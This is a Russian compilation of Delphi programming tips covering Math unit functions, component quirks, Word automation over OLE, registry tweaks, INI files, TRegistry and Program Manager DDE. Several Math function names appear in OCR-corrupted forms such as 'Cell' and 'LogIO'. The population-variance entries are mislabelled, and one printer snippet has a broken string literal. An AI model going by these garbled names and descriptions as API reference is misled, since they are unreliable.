Здесь я привожу полный список всех функций и процедур модуля Math. При переходе от Delphi 2 к Delphi 3 модуль Math почти не изменился, фирма Borland ввела в него только три новые функции: MaxIntVal ue, MInIntValue и Sumint. Эти функции отличаются от своих прототипов (MaxValue, MI nVal ue и Sum) лишь тем, что работают исключительно с целыми числами, не принимая и не возвращая величин с плавающей точкой. Что касается остальных функций, то большинство из них вполне очевидно. Если вам покажется иначе - что ж, садитесь за исследования. И не надейтесь, что все тайны Delphi достанутся вам на блюдечке в виде help-файла!
Тригонометрические функции и процедуры
ArcCos - Арккосинус
ArcCosh - Пиперболический арккосинус
ArcSIn - Арксинус
ArcSInh - Гиперболический арксинус
ArcTahn - Гиперболический арктангенс
ArcTan2 - Арктангенс с учетом квадранта (функция ArcTan, не учитывающая квадрант, находится в модуле System)
Cosh - Гиперболический косинус
Cotan - Котангенс
CycleToRad - Преобразование циклов в радианы
DegToRad - Преобразование градусов в радианы
GradToRad - Преобразование градов в радианы
Hypot - Вычисление гипотенузы прямоугольного треугольника по длинам катетов
RadToCycle - Преобразование радианов в циклы
RadToDeg - Преобразование радианов в градусы
RacIToGrad - Преобразование радианов в грады
SinCos - Вычисление синуса и косинуса угла. Как и в случае SumAndSquares и MeanAndStdDev, одновременная генерация обеих величин происходит быстрее
Sinh - Гиперболический синус
Tan - Тангенс
Tanh - Гиперболический тангенс

Арифметические функции и процедуры
Cell - Округление вверх
Floor - Округление вниз
Frexp - Вычисление мантиссы и порядка заданной величины
IntPower - Возведение числа в целую степень. Если вы не собираетесь пользоваться экспонентами с плавающей точкой, желательно использовать эту функцию из-за ее скорости
Ldexp - Умножение Х на 2 в заданной степени
LnXPI - Вычисление натурального логарифма Х+1. Рекомендуется для X, близких к нулю
LogN - Вычисление логарифма Х по основанию N
LogIO - Вычисление десятичного логарифмах
Log2 - Вычисление двоичного логарифмах
Power - Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо

Финансовые функции и процедуры
DoubleDecliningBalance - Вычисление амортизации методом двойного баланса
FutureValue - Будущее значение вложения
InterestPayment - Вычисление процентов по ссуде
InterestRate - Норма прибыли, необходимая для получения заданной суммы
InternalRateOfReturn - Вычисление внутренней скорости оборота вложения для ряда последовательных выплат
NetPresentValue - Вычисление чистой текущей стоимости вложения для ряда последовательных выплат с учетом процентной ставки
NumberOf Periods - Количество периодов, за которое вложение достигнет заданной величины
Payment - Размер периодической выплаты, необходимой для погашения ссуды, при заданном числе периодов, процентной ставке, а также текущем и будущем значениях ссуды
PerlodPayment - Платежи по процентам за заданный период
PresentValue - Текущее значение вложения
SLNDepreclatlon - Вычисление амортизации методом постоянной нормы
SYDepreclatlon - Вычисление амортизации методом весовых коэффициентов

Статистические функции и процедуры
MaxIntValue - Максимальное значение в наборе целых чисел. Функция появилась в Delphi 3. ее не существует в Delphi 2
MaxValue - Максимальное значение в наборе чисел. В Delphi 2 функция возвращает минималъное значение
Mean - Среднее арифметическое для набора чисел
MeanAndStdDev - Одновременное вычисление среднего арифметического и стандартного отклонения для набора чисел. Вычисляется быстрее, чем обе величины по отдельности
MinIntValLie - Минимальное значение в наборе целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2
MInValue - Минимальное значение в наборе чисел. В Delphi 2 функция возвращает максимальное значение
MoiiientSkewKurtosIs - Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора чисел
Norm - Норма для набора данных (квадратный корень из суммы квадратов)
PopnStdDev - Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях используется выборочное значение дисперсии, PopnVarl апсе (см. ниже)
PopnVarlance - Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n
RandG - Генерация нормально распределенных случайных чисел с заданным средним значением и среднеквадратическим отклонением
StdDev - Среднеквадратическое отклонение для набора чисел
Sum - Сумма набора чисел
SLimsAndSquares - Одновременное вычисление суммы и суммы квадратов для набора чисел. Как и в других функциях модуля Math, обе величины вычисляются быстрее, чем по отдельности
Sumint - Сумма набора целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2
SLimOfSquares - Сумма квадратов набора чисел
Total Variance - "Полная дисперсия" для набора чисел. Это сумма квадратов расстояний всех величин от их среднего арифметического
Variance - Выборочная дисперсия для набора чисел. Функция использует "несмещенную" формулу TotalVanапсе/ (п -1)

Наверх

Глюки TImage

При увеличении размера компонента TImage в RunTime пытаюсь рисоватьзаново на всем поле, но отображается только часть компонента (прежнегоразмера). В чем дело?
Ответ: Нужно при инициализации выполнить SetBounds(), с максимальными размерами.

Наверх

Глюки QReport

Обнаружил, что компонент QReport никак не реагирует на установки принтера PrinterSetup диалога, вызываемого нажатием кнопочкисобственного Preview!
В QuickReport есть собственный объект TQRPrinter, установки которого он использует при печати, а стандартные установки принтеров на него не влияют. В диалоге PrinterSetup, вызываемом из Preview можно лишь выбрать принтер на который нужно печатать (если, конечно, установлено несколько принтеров).

Советую поставить обновление QReport на 2.0J с www.qusoft.com.

Перед печатью (не только из QReport) программно установите требуемый драйвер принтера текущим для Windows

function SetDefPrn(const stDriver : string) : boolean;
begin
  SetPrinter(nil).Free;
  Result := WriteProfileString('windows', device', PChar( stDriver));
end;

После печати восстановите установки.

Наверх

Имеется StringGrid с n-ым количеством строк. Как вставить еще несколько строк в середину StringGrid или после определенной строки?

По-видимому, надо добавить строк в конец, изменив Grid.RowCount, а потом раздвинуть строки циклом снизу вверх:
Grid.Rows.Strings[i] := Grid.Rows.Strings[i - 1];

Или я бы сделал метод рисования этой таблицы, а данные хранил бы в отдельном stringList-е, там есть методы вставки, а вообще-то для этих целей предпочитаю DrawGrid: переопределяю метод onDrawCell, всё же объектная модель лучше и данные проще контролировать.

Наверх

Внутри конструктора Create компонента создаю другой компонент, но Delphi помещает запись о втором компоненте в dfm-файл!

У меня такая проблема: я пишу компонент, который внутри себя создаёт другой компонент. Конструктор первого компонента выглядит примерно так:

constructor TFirstComp.Create(AOwner:TComponent);
begin
 inherited Create(AOwner);
 SecondComp:=TSecondComp.Create(Owner)
end;

Проблема заключается в том, что при помещении первого компонента на форму в dfm-файл записывается информация и о втором компоненте тоже. А в pas-файл - только о первом. Это приводит к конфликтам. Для меня принципиально, чтобы хозяин у второго компонента был тот же, что и у первого. Как не дать Delphi поместить запись о TSecondComp в dfm-файл?

Попробуйте сделать так:

constructor TFirstComp.Create(AOwner:TComponent);
begin
 inherited Create(AOwner);
 SecondComp:=TSecondComp.Create(SELF);
end;

Т.е. дочернему компоненту в качастве владельца передавайте его непосредственного хозяина.

Наверх

Как вставить иконку (или bitmap) в TRichEdit, причем так, чтобы пользователь мог ее удалить нажатием клавиши Del (как это сделано в Microsoft Word)?

Посмотрите компонент RichEdit98 (полностью бесплатный). ftp://ftp.bcsmi.minsk.by/alex/

Наверх

Работа с Word через OLE

Я думаю, пример красноречивее пяти листов словоблудия ...

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, ComCtrls, ExtCtrls, OleCtnrs;

type
  TForm1 = class(TForm)
    OleContainer1: TOleContainer;
    Panel1: TPanel;
    StatusBar1: TStatusBar;
    mbLoad: TSpeedButton;
    mbPrint: TSpeedButton;
    OpenDialog1: TOpenDialog;
    procedure mbLoadClick(Sender: TObject);
    procedure mbPrintClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.mbLoadClick(Sender: TObject);
begin
 // Покажем диалог, и если он отработал, то загрузим в контейнер
 if OpenDialog1.Execute and (OpenDialog1.FileName<>'') then
  OleContainer1.CreateObjectFromFile(OpenDialog1.FileName,false);
 // Если загрузилось что-нибудь, то покажем
 if OleContainer1.State <> osEmpty then
  OleContainer1.DoVerb(ovShow);
end;

procedure TForm1.mbPrintClick(Sender: TObject);
var
 V : Variant;
begin
 if OleContainer1.State = osEmpty then Begin
  MessageDlg('OLE не загружен !!', mtError, [mbOk],0);
  exit;
 end;
  // Получаем объект, который воплощает в себе WordBasic интерфейс
  V := OleContainer1.OleObject.Application.WordBasic;
  // Командуем до одурения ....
  V.FilePrint;
end;
end.

Наверх


Реестр

Маленькие хитрости с большой пользой

Реестр
  • Использование некоторых ключей реестра
  • Добавление элементов в контекстное меню "Создать"
  • Путь к файлу который открывает не зарегистрированные файлы
  • В проводнике контекстное меню "Открыть в новом окне"
  • Использование средней кнопки мыши Logitech в качестве двойного щелчка
  • Новые звуковые события
  • Путь в реестре для деинсталяции программ
  • Работа с реестром в Delphi 1
  • Объект INIFILES - работа INI файлами
  • Работа с реестром в Delphi 3-4
  • Графика (Написание текста под углом, преобразование цвета, как менять разрешение экрана по ходу выполнения программы...)
  • Система (Регистрация программ в меню "Пуск", как проинсталлировать свои шрифты, вставить какую-нибудь программу внутрь EXE файла, инсталляторы, хранитель экрана, включение/выключение клавиатуры, мыши и монитора...)
  • Прочее (Перехват клавиатуры от других программ, создание отчета в MS Word, заставка для программы, как создать свою кнопку в заголовке формы, сводка функций модуля Math...)

От авторов ...
Данный файл содержит информацию об интересных разделах реестра, а также о методах работы с реестром из Delphi. Мы не претендуем на авторство, вся эта информация собрана из различных источников, но все примеры и советы, приведенные здесь были предварительно проверены под разными версиями Delphi, поэтому особое внимание следует обратить на примечания относительно версии, для которой это разработано или проверено.

Зайцев О.В.
Владимиров А.М.

Реестр

Добавление элементов в контекстное меню "Создать"
1. Создать новый документ, поместить его в папку Windows/ShellNew
2. В редакторе реестра найти расширение этого файла, добавить новый подключ, добавить туда строку: FileName в качестве значения которой указать имя созданного файла.

Путь к файлу который открывает не зарегистрированные файлы
1. Найти ключ HKEY_CLASSES_ROOT\Unknown\Shell
2. Добавить новый ключ Open
3. Под этим ключом еще ключ с именем command в котором изменить значение (По умолчанию) на имя запускаемого файла, к имени нужно добавить %1. (Windows заменит этот символ на имя запускаемого файла)

В проводнике контекстное меню "Открыть в новом окне"
1. Найти ключ HKEY_CLASSES_ROOT\Directory\Shell
2. Создать подключ: opennew в котором изменить значение (По умолчанию) на: "Открыть в новом окне"
3. Под этим ключом создать еще подключ command (По умолчанию) = explorer %1

Использование средней кнопки мыши Logitech в качестве двойного щелчка
Подключ HKEY_LOCAL_MACHINE\SoftWare\Logitech и там найти параметр DoubleClick заменить 000 на 001

Новые звуковые события
Например создает звуки на запуск и закрытие WinWord
HKEY_CURRENT_USER\AppEvents\Shemes\Apps добавить подключ WinWord и к нему подключи Open и Close.
Теперь в настройках звуков видны новые события

Путь в реестре для деинсталяции программ: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall

Наверх

Работа с реестром в Delphi 1

В Delphi 2 и выше появился объект TRegistry при помощи которого очень просто работать с реестром. Но мы здесь рассмотрим функции API, которые доступны и в Delphi 1.
Реестр предназначен для хранения системных переменных и позволяет зарегистрировать файлы программы, что обеспечивает их показ в проводнике с соответствующей иконкой, вызов программы при щелчке на этом файле, добавление ряда команд в меню, вызываемое при нажатии правой кнопки мыши над файлом. Кроме того, в реестр можно внести некую свою информацию (переменные, константы, данные о инсталлированной программы ...). Программу можно добавить в список деинсталляции, что позволит удалить ее из менеджера "Установка/Удаление программ" панели управления.
Для работы с реестром применяется ряд функций API :
RegCreateKey (Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Создать подраздел в реестре. Key указывает на "корневой" раздел реестра, в Delphi1 доступен только один - HKEY_CLASSES_ROOT, в в Delphi3 - все. SubKey - имя раздела - строится по принципу пути к файлу в DOS (пример subkey1\subkey2\ ...). Если такой раздел уже существует, то он открывается (в любом случае при успешном вызове Result содержит Handle на раздел). Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное - ошибка.
RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;
Открыть подраздел Key\SubKey и возвращает Handle на него в переменной Result. Если раздела с таким именем нет, то он не создается. Возврат - код ошибки или ERROR_SUCCESS, если успешно.
RegCloseKey(Key: HKey): Longint;
Закрывает раздел, на который ссылается Key. Возврат - код ошибки или ERROR_SUCCESS, если успешно.
RegDeleteKey(Key: HKey; SubKey: PChar): Longint;
Удалить подраздел Key\SubKey. Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.
RegEnumKey(Key: HKey; index: Longint; Buffer: PChar;cb: Longint): Longint;
Получить имена всех подразделов раздела Key, где Key - Handle на открытый или созданный раздел (см. RegCreateKey и RegOpenKey), Buffer - указатель на буфер, cb - размер буфера, index - индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование - в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой (см. пример).
RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;

Возвращает текстовую строку, связанную с ключом Key\SubKey.Value - буфер для строки; cb- размер, на входе - размер буфера, на выходе - длина возвращаемой строки. Возврат - код ошибки.
RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;
Задать новое значение ключу Key\SubKey, ValType - тип задаваемой переменной, Value - буфер для переменной, cb - размер буфера. В Windows 3.1 допустимо только Value=REG_SZ. Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.
Примеры :

{  Создаем список всех подразделов указанного раздела }
procedure TForm1.Button1Click(Sender: TObject);
var
 MyKey  : HKey; { Handle для работы с разделом }
 Buffer : array[0..1000] of char; { Буфер }
 Err, { Код ошибки }
index   : longint; { Индекс подраздела }
begin
 Err:=RegOpenKey(HKEY_CLASSES_ROOT,'DelphiUnit',MyKey); { Открыли раздел }
 if Err<> ERROR_SUCCESS then
  begin
    MessageDlg('Нет такого раздела !!',mtError,[mbOk],0);
    exit;
  end;
 index:=0;
 {Определили имя первого подраздела }
 Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer));
 while err=ERROR_SUCCESS do { Цикл, пока есть подразделы }
  begin
    memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список }
    inc(index); { Увеличим номер подраздела }
    Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer)); { Запрос }
  end;
 RegCloseKey(MyKey); { Закрыли подраздел }
end;

Наверх

Объект INIFILES - работа с INI файлами.

Почему иногда лучше использовать INI-файлы, а не реестр?
1. INI-файлы можно просмотреть и отредактировать в обычном блокноте.
2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. (Я еще не написал ни одной программы, которая бы не поместилась на одну дискету :)
3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить.
Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже.
Constructor Create('d:\test.INI');
Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации.
WriteBool(const Section, Ident: string; Value: Boolean);
Присвоить элементу с именем Ident раздела Section значение типа boolean
WriteInteger(const Section, Ident: string; Value: Longint);
Присвоить элементу с именем Ident раздела Section значение типа Longint
WriteString(const Section, Ident, Value: string);
Присвоить элементу с именем Ident раздела Section значение типа String
ReadSection (const Section: string; Strings: TStrings);
Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются)
ReadSectionValues(const Section: string; Strings: TStrings);
Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат :
имя_переменной = значение
EraseSection(const Section: string);
Удалить раздел Section со всем содержимым
ReadBool(const Section, Ident: string; Default: Boolean): Boolean;
Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
ReadInteger(const Section, Ident: string; Default: Longint): Longint;
Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
ReadString(const Section, Ident, Default: string): string;
Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.
Free;
Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом
Property Values[const Name: string]: string;
Доступ к существующему параметру по имени Name

Пример :

Procedure TForm1.FormClose(Sender: TObject);
var
 IniFile:TIniFile;
begin
  IniFile := TIniFile.Create('d:\test.INI'); { Создали экземпляр объекта }
  IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true }
  IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 }
  IniFile.WriteString('Options' , 'Secret password', Pass);
   { Секция Options: в Secret password записать значение переменной Pass }
  IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных}
  IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения }
  IniFile.Free; { Закрыли файл, уничтожили объект и освободили память }
end;

Наверх

Работа с реестром в Delphi 3-4

Итак, поговорим о работе с реестром, на сей раз о работе с ним из Delphi 3-4. Как показал опыт и анализ работы с письмами, этот раздел представляет собой трудность в изучении и многих интересует, как работать с реестром (а в литературе, к сожалению, нет данных по работе с ним). Возьмем за основу работу с реестром в Delphi 4.

В Delphi 4 для работы с реестром имеется класс TRegistry. В отличии от своего "младшего брата" (TRegistry в Delphi 1)он может работать со всеми ключами реестра, а не только с HKEY_CLASSES_ROOT.

Рассмотрим работу с TRegistry по шагам.

  • Перед началом использования TRegistry необходимо объявить подключение модуля Registry в Uses. Эту операцию Delphi не желает делать автоматически
  • Необходимо объявить переменную типа TRegistry, для примера назовем ее REG Необходимо проинициализировать: REG := TRegistry.Create;
  • Работаем с REG
  • Уничтожаем объект REG.Destroy;

    • Если опустить пункт 4, то рабочий минимум сводится к приведенному ниже коду
    var
    REG : TRegistry;
    begin
    REG := TRegistry.Create;
    REG.Destroy;
    end;

    Далее необходимо рассмотреть (вкратце) основные свойства и методы TRegistry

    Свойства

    Свойства | Назначение
property RootKey: HKEY; | Самое полезное свойство. Допускает чтение и запись. Определяет корневой ключ реестра. Допустимые значения: HKEY_CLASSES_ROOT (по умолчанию) HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG HKEY_DYN_DATA Лично я не верю в эти "по умолчанию", потому начинаю работу с присвоения значения RootKey
property CurrentPath: String; | Путь к текущему ключу
property LazyWrite: Boolean; | "Ленивая запись". По умолчанию = true, что означает, что на момент возврата из функции закрытия ключа не гарантируется, что изменения в нем записаны в реестр. Если false, то на момент возврата из функции закрытия ключа гарантируется, что все изменения уже записаны в реестр.
property CurrentKey: HKEY; | Открытый в настоящее время ключ реестра

    Методы

    Procedure CloseKey;
    Закрывает открытый в данный момент ключ реестра и записывает в реестра все изменения (если таковые были), произведенные в данном ключе. Вызов CloseKey несколько раз или при отсутствии открытого ключа не вызывает ошибки.

    function CreateKey(const Key: String): Boolean;
    Создает ключ Key (где Key - путь с разделителями "\", например Software\Test. Имя корневого ключа в пути не указывается !! Он задается через property RootKey. Возвращает True при успешном создании.

    function DeleteKey(const Key: String): Boolean;
    Удалить ключ Key (аналогично CreateKey, только с точностью до наоборот)

    function DeleteValue(const Name: String): Boolean;
    Удалить параметр с именем Name текущего ключа. Очевидно, что предварительно необходимо открыть этот ключ.

    function GetDataInfo(const ValueName: String; var Value: TRegDataInfo): Boolean;
    Получить информацию о параметре ValueName текущего ключа - его тип и размер. При написании программ применяется редко, т.к. программист и сам знает, какого типа его параметры. А вот при написании разного рода утилит для просмотра и редактирования реестра он просто незаменим.

    Типы:
    TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary);
    TRegDataInfo = record
    RegData: TRegDataType; // Тип ключа
    DataSize: Integer; // Размер данных
    end;

    Данная функция возвращает комплексную информацию о параметре, для получения данных о размере или типе можно применять GetDataSize и GetDataType

    function GetDataSize(const ValueName: String): Integer;
    Получить размер параметра ValueName текущего ключа в байтах. Если - при ошибке. Для строкового параметра размер учитывает в размере и один байт для #0, завершающего строку .

    function GetDataType(const ValueName: String): TRegDataType;
    Получить тип текущего ключа.

    function GetKeyInfo(var Value: TRegKeyInfo): Boolean;
    Получить информацию о ключе. Возвращает заполненную структуру:

      TRegKeyInfo = record
    MaxSubKeyLen: Integer; // Количество подключей
    NumValues: Integer;    // Количество параметров
    MaxValueLen: Integer;  // Максимальная длина имени  параметра
    MaxDataLen: Integer;   // Максимальная длина данных
    FileTime: TFileTime;   // Время последней записи ключа
  end;

    Как очевидно из структуры, она предназначена для построения программ просмотра реестра. При успешном выполнении возвращает true.

    procedure GetKeyNames(Strings: TStrings);
    Заполняет указанный Strings списком под ключей текущего ключа. Применяется для построения программ просмотра реестра или в том случае, когда количество подключей неизвестно. Например, одна из моих программ создает в одном из ключей несколько подключей с одинаковой структурой, но их количество заранее неизвестно (настройки пользователей).

    procedure GetValueNames(Strings: TStrings);
    Заполняет указанный Strings списком параметров текущего ключа.

    function HasSubKeys: Boolean;
    Возвращает True, если текущий ключ имеет подключи и False в противном случае

    function KeyExists(const Key: String): Boolean;
    Возвращает True, если ключ Key существует. Полезная функция, рекомендуется применять ее перед открытием ключей.

    function LoadKey(const Key, FileName: String): Boolean;
    Создает ключ Key и загружает в него данные из файла с именем FileName. Полезно при написании инсталляторов. Возвращает True при успешном выполнении.

    procedure MoveKey(const OldName, NewName: String; Delete: Boolean);
    Копировать или переименовать ключ. В любом случае копирует все из ключа OldName в NewName (со всеми подключами). После копирования анализируется Delete, и если он true, то ключ OldName уничтожается со всем содержимым. Лично у меня не было потребности в применении данной функции - она не требуется программ и предначначена для построения редакторов реестра.

    function OpenKey(const Key: String; CanCreate: Boolean): Boolean;
    Очень важная функция - с нее начинается работа с ключом. Key - имя открываемого ключа. Если ключ с указанным именем не найден и CanCreate=true, то производится попытка создать ключ с указанным именем. Возвращает признак успешности открытия ключа, его обязательно следует анализировать.

    function OpenKeyReadOnly(const Key: String): Boolean;
    Тоже, что и OpenKey, но открытие идет в режиме "только чтение"

    Внимание !!!!!! Все функции типа Read** при вызове генерируют исключение, если параметр не найден. Это исключение следует отлавливать при помощи try except или проверять наличие параметра при помощи ValueExists перед его чтением.

    function ReadBinaryData(const Name: String; var Buffer; BufSize: Integer): Integer;
    Читает значение параметра с именем Name текущего (открытого) ключа в Buffer размером BufSize.

    function ReadBool(const Name: String): Boolean;
    Считать значение параметра с именем Name типа Boolean

    function ReadDate(const Name: String): TDateTime;
    Считать значение параметра с именем Name типа дата

    function ReadDateTime(const Name: String): TDateTime;
    Считать значение параметра с именем Name типа дата-время

    function ReadTime(const Name: String): TDateTime;
    Считать значение параметра с именем Name типа время

    function ReadFloat(const Name: String): Double;
    Считать значение параметра с именем Name типа Double

    function ReadInteger(const Name: String): Integer;
    Считать значение параметра с именем Name типа Integer

    function ReadString(const Name: String): String;
    Считать значение параметра с именем Name типа String

    function RegistryConnect(const UNCName: String): Boolean;
    Подключить сетевой реестр машины UNCName (формат: \\сетевое имя машины). Перед вызовом этой функции программа должна установить RootKey в значение HKEY_USERS или HKEY_LOCAL_MACHINE. При успешном соединении и открытии удаленного реестра его RootKey ставится в заданное перед вызовам значение свойства RootKey и возвращается True.

    procedure RenameValue(const OldName, NewName: String);
    Переименовать параметр текущего ключа с именем OldName в NewName.

    function ReplaceKey(const Key, FileName, BackUpFileName: String): Boolean;
    Заменить место хранения ключа. Обычно ключи хранятся в базовом файле реестра, нот вызовом данной функции можно задать в качестве места хранения ключа отдельный файл с именем FileName (его следует предварительно создать при помощи savekey). При каждой перезагрузке компьютера ключ Key будет загружаться значениями, считываемыми из файла этого файла FileName,т.е. по сути мы имеет дело с ульем (hive) в терминологии Windows NT. Определение: Улей - часть реестра (его ячейка). Улей является дискретным набором ключей, подключей и параметров, который находится вверху иерархии реестра. Улей поддерживается одиночным файлом. BackUpFileName - имя резервной копии, которая создается перед перезаписью данных ключа Key. Если кого интересуют подробности, то следует почитать книгу по реестру Windows NT, главы типа "Ульи и файлы" и "Целостность и восстановление улья в реестре". При разработке практических приложений я не разу не применял этот вызов.

    function RestoreKey(const Key, FileName: String): Boolean;
    Открывает указанный ключ и перезаписывает его данные и подключи данными из файла FileName.

    function SaveKey(const Key, FileName: String): Boolean;
    Сохраняет все параметры указанного ключа и всех его подключей в файле FileName. Может применяться совместно с LoadKey и RestoreKey для создания и восстановления ключей реестра.

    function UnLoadKey(const Key: String): Boolean;
    Удалить улей Key из реестра.

    function ValueExists(const Name: string): Boolean;
    Проверить, существует ли в текущем ключе параметр с именем Name. Весьма полезная функция, т.к. чтение несуществующего параметра приводит к исключительной ситуации

    procedure WriteBinaryData(const Name: String; var Buffer; BufSize: Integer);
    Записать в параметр с именем Name данные из буфера Buffer размером BufSize. Если параметр существовал, то он будет перезаписан. Если параметр не существовал, то он будет создан. Это справедливо и для всех последующих процедур записи параметров

    Остальные процедуры записи - WriteBool, WriteCurrency,WriteDate,WriteDateTime, WriteExpandString, WriteFloat, WriteInteger, WriteString, WriteTime имеют по два параметра - (имя ключа, значение ключа).

    Ну вот, класс описали, теперь приведем парочку примеров.

    Пример 1 - запись.
 var
  REG : TRegistry;
 begin
  REG := TRegistry.Create;
  REG.RootKey:=HKEY_LOCAL_MACHINE;
  REG.OpenKey('Software\Test',true);
  REG.WriteBool('Test1',true);
  REG.WriteInteger('Test2',12);
  REG.CloseKey;
  REG.Destroy;
 end;

    Данный пример создает (если его не было) или открывает ключ реестра HKEY_LOCAL_MACHINE\Software\Test и записывает в него два параметра типа Boolean и Integer.

    Пример 2 - чтение.
var
 REG : TRegistry;
 B : Boolean;
 I : Integer;
begin
 REG := TRegistry.Create;
 REG.RootKey:=HKEY_LOCAL_MACHINE;
 if REG.OpenKey('Software\Test',false) then begin
  if REG.ValueExists('Test1') then
   B:=REG.ReadBool('Test1')
    else ShowMessage('Параметр Test1 не найден');
  if REG.ValueExists('Test2') then
   I:=REG.ReadInteger('Test2')
    else ShowMessage('Параметр Test2 не найден');
 end else
  ShowMessage('Ключ HKEY_LOCAL_MACHINE\Software\Test не найден');
 REG.CloseKey;
 REG.Destroy;
end;

    Данный пример открывает ключ (контролируя, есть ли он) и пытается читать параметры с проверкой, существуют ли они.

Наверх


Система

Маленькие хитрости с большой пользой

Система
  • Советы для написания программ-инсталляторов
    • Регистрация программ в меню "Пуск" Windows 95
    • Как программно создать ярлык?
    • Затенить кнопку закрыть в заголовке формы
    • Копирование файлов
    • Как скопировать все файлы вместе с подкаталогами
    • Удаление каталога со всем содержимым
    • Определение системной информации
    • Как проинсталлировать свои шрифты?
    • Вставить какую-нибудь программу внутрь EXE файла
    • Хочется создать ну очень маленький инсталлятор
    • Рисую две иконки 32х32 и 16х16, но под NT 32х32 не показывается!
  • Работа с принтером
  • Система
    • Хранитель экрана
    • Включение/выключение клавиатуры, мыши и монитора!
    • Переключение языка из программы на Delphi
    • Как отловить нажатия клавиш для всех процессов в системе?
    • Информация о состоянии клавиатуры
    • Управление питанием ЭВМ из Delphi
    • Пример получения списка запущенных приложений.
    • Как отключить показ кнопки программы в TaskBar и по Alt-Tab и в Ctrl-Alt-Del
    • Добавление программы в автозапуск
    • Удалить файл в корзину? Запросто!
    • Добавить ссылку на мой файл в меню Пуск|Документы
    • Устанавливаем свой WallPaper для Windows
    • Как запретить кнопку Close [x] в заголовке окна.
    • Каким образом можно изменить системное меню формы?
    • Запуск внешней программы и ожидание ее завершения
    • Как узнать местоположение специальных папок у Windows?
    • Как воспроизвести wav-файл из ресурса (в EXE) ?
    • Как скрыть таскбар?
    • События нажатия на системные кнопки формы (минимизация, закрытие...)
    • Как определить, есть ли в системе звуковая плата
    • Определение информации о памяти (размер ОЗУ, виртуальная память ...)
    • Как написать свой PlugIN (типа поддержки различных форматов файлов ...)
    • Как подавить реакцию Windows на CTRL+ALT+DEL, ALT-TAB, CTRL-ESC
  • Сети. Как подключить и отключить сетевой ресурс из своей программы?
  • Внешние модули (DLL), нити
    • Как передать при создании нити (Tthread) ей некоторое значение?
    • CGI-програма должна выдавать в браузер Gif изображение.

  • Графика (Написание текста под углом, преобразование цвета, как менять разрешение экрана по ходу выполнения программы...)
  • Реестр (Добавление элементов в контекстное меню "Создать", новые звуковые события, деинсталяция, работа с реестром, INI-файлы...)
  • Прочее (Перехват клавиатуры от других программ, создание отчета в MS Word, заставка для программы, как создать свою кнопку в заголовке формы, сводка функций модуля Math...)

От авторов ...
Данный файл содержит обобщенную и апробированную авторами информацию по решению некоторых задач, возникающих при программировании на Delphi. Мы не претендуем на авторство, вся эта информация собрана из различных источников, но все примеры и советы, приведенные здесь были предварительно проверены под разными версиями Delphi, поэтому особое внимание следует обратить на примечания относительно версии, для которой это разработано или проверено.

Зайцев О.В.
Владимиров А.М.

Регистрация программ в меню "Пуск" Windows 95.

Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь - использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов - объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:

Function TForm2.ProgmanCommand(Command:string):boolean;
var
 macrocmd:array[0..88] of char;
begin
 DDEClient.SetLink('PROGMAN','PROGMAN');
 DDEClient.OpenLink; { Устанавливаем связь по DDE }
 strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку }
 ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false);
 DDEClient.CloseLink; { Закрываем связь по DDE }
end;

При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:
Create(Имя группы, путь к GRP файлу)
Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.
Delete(Имя группы)
Удалить группу с именем "Имя группы"
ShowGroup(Имя группы, состояние)
Показать группу в окне, причем состояние - число, определяющее параметры окна:
